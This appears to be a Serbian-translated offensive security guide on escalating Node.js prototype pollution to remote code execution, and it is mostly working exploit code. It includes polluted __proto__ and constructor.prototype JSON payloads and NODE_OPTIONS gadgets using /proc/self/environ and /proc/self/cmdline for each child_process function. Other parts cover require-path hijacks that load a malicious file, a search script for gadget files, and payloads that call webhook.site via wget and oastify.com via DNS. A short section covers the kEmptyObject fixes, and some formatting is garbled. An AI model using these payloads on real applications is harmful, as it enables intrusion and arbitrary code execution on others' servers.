Prototype Pollution to RCE

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Vulnerable Code

Zamislite pravi JS koji koristi neki kod poput sledećeg:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE putem env varijabli

PP2RCE znači Zagađenje prototipa do RCE (Daljinsko izvršavanje koda).

Prema ovom izveštaju kada se proces pokrene nekom metodom iz child_process (kao što su fork ili spawn ili drugi) poziva se metoda normalizeSpawnArguments koja je alat za zagađenje prototipa za kreiranje novih env varijabli:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Check that code you can see it's possible en poison envPairs just by polluting the attribute .env.

Poisoning __proto__

Napomena da zbog načina na koji funkcija normalizeSpawnArguments iz biblioteke child_process u node-u funkcioniše, kada se nešto pozove kako bi se postavila nova env varijabla za proces, potrebno je samo zagađivanje bilo čega. Na primer, ako uradite __proto__.avar="valuevar" proces će biti pokrenut sa varijablom nazvanom avar sa vrednošću valuevar.

Međutim, da bi env varijabla bila prva, potrebno je zagađivanje `.env atributa i (samo u nekim metodama) ta varijabla će biti prva (omogućavajući napad).

Zato NODE_OPTIONS nije unutar .env u sledećem napadu.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Zagađenje constructor.prototype

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE putem env varijabli + cmdline

Sličan payload kao prethodni sa nekim izmenama je predložen u ovoj analizi. Glavne razlike su:

• Umesto da čuva nodejs payload unutar fajla /proc/self/environ, čuva ga unutar argv0 fajla /proc/self/cmdline.

• Zatim, umesto da zahteva putem NODE_OPTIONS fajl /proc/self/environ, zahteva /proc/self/cmdline.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS Interakcija

Korišćenjem sledećih payload-a moguće je zloupotrebiti NODE_OPTIONS env var koji smo prethodno diskutovali i detektovati da li je to uspelo putem DNS interakcije:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Ili, da izbegnete WAF-ove koji traže domen:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process functions

U ovom odeljku ćemo analizirati svaku funkciju iz child_process da bismo izvršili kod i videli da li možemo koristiti neku tehniku da primoramo tu funkciju da izvrši kod:

exec eksploatacija

// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');

execFile eksploatacija

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

Za **`execFile`** da radi, **MORA** izvršiti node da bi NODE\_OPTIONS radili.\
Ako **ne** izvršava **node**, morate pronaći kako možete **izmeniti izvršenje** onoga što izvršava **pomoću promenljivih okruženja** i postaviti ih.

**Ostale** tehnike **rade** bez ovog zahteva jer je **moguće modifikovati** **ono što se izvršava** putem zagađenja prototipa. (U ovom slučaju, čak i ako možete zagađivati `.shell`, nećete zagađivati ono što se izvršava).

</details>

<details>

<summary><code>fork</code> eksploatacija</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');

spawn eksploatacija

// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

execFileSync eksploatacija

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');

execSync eksploatacija

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');

spawnSync eksploatacija

// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Forcing Spawn

U prethodnim primerima ste videli kako da aktivirate gadget, funkcionalnost koja poziva spawn mora biti prisutna (sve metode child_process koje se koriste za izvršavanje nečega je pozivaju). U prethodnom primeru to je bila deo koda, ali šta ako kod ne poziva to.

Kontrola putanje do require fajla

U ovom drugom izveštaju korisnik može kontrolisati putanju fajla gde će se izvršiti require. U toj situaciji napadaču je potrebno samo da pronađe .js fajl unutar sistema koji će izvršiti spawn metodu kada se importuje. Neki primeri uobičajenih fajlova koji pozivaju spawn funkciju kada se importuju su:

• /path/to/npm/scripts/changelog.js

• /opt/yarn-v1.22.19/preinstall.js

• Pronađite više fajlova ispod

Sledeći jednostavan skript će pretraživati pozive iz child_process bez ikakvog razmaka (da bi se izbeglo prikazivanje poziva unutar funkcija):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.

Interesantne datoteke pronađene prethodnim skriptom

• node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

• node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

• node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

• node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

• node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

• node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

• node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

• node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();

• node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Postavljanje putanje do datoteke putem zagađenja prototipa

Prethodna tehnika zahteva da korisnik kontroliše putanju datoteke koja će biti zahtjevana. Ali to nije uvek tačno.

Međutim, ako se kod izvršava zahtev nakon zagađenja prototipa, čak i ako ne kontrolišete putanju koja će biti zahtevana, možete prisiliti drugu koristeći zagađenje prototipa. Tako da čak i ako je linija koda poput require("./a_file.js") ili require("bytes"), ona će zahtevati paket koji ste zagađivali.

Stoga, ako se zahtev izvrši nakon vašeg zagađenja prototipa i bez spawn funkcije, ovo je napad:

• Pronađite .js datoteku unutar sistema koja kada bude zahtjevana će izvršiti nešto koristeći child_process

• Ako možete da otpremite datoteke na platformu koju napadate, možda ćete moći da otpremite takvu datoteku

• Zagađujte putanje da prisilite učitavanje .js datoteke koja će izvršiti nešto sa child_process

• Zagađujte environ/cmdline da izvršite proizvoljan kod kada se pozove funkcija za izvršavanje child_process (vidi inicijalne tehnike)

Apsolutni zahtev

Ako je izvršeni zahtev apsolutan (require("bytes")) i paket ne sadrži main u package.json datoteci, možete zagađivati main atribut i učiniti da zahtev izvrši drugu datoteku.

exploit

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

malicious.js

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");

Relativna putanja - 1

Ako se umesto apsolutne putanje učita relativna putanja, možete naterati node da učita drugu putanju:

eksploit

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

malicious.js

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');

Relativno zahtevati - 2

eksploit

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

malicious.js

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');

Relative require - 3

Slično prethodnom, ovo je pronađeno u ovoj analizi.

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

VM Gadgets

U radu https://arxiv.org/pdf/2207.11171.pdf takođe je naznačeno da se kontrola contextExtensions iz nekih metoda vm biblioteke može koristiti kao gadget. Međutim, kao i prethodne child_process metode, to je ispravljeno u najnovijim verzijama.

Fixes & Unexpected protections

Molimo vas da napomenete da prototipsko zagađenje funkcioniše ako je atribut objekta koji se pristupa neodređen. Ako je u kodu taj atribut postavljen na vrednost, nećete moći da ga prepišete.

U junu 2022. iz ovog commit-a varijabla options umesto {} je kEmptyObject. Što sprečava prototipsko zagađenje da utiče na atribute options kako bi se dobio RCE. Bar od v18.4.0 ova zaštita je implementirana, i stoga spawn i spawnSync eksploati koji utiču na metode više ne rade (ako se ne koriste options!).

U ovom commit-u je prototipsko zagađenje contextExtensions iz vm biblioteke takođe donekle ispravljeno postavljanjem opcija na kEmptyObject umesto {}.

Other Gadgets

• https://github.com/yuske/server-side-prototype-pollution

• https://github.com/KTH-LangSec/server-side-prototype-pollution

References

• https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/

• https://blog.sonarsource.com/blitzjs-prototype-pollution/

• https://arxiv.org/pdf/2207.11171.pdf

• https://portswigger.net/research/server-side-prototype-pollution

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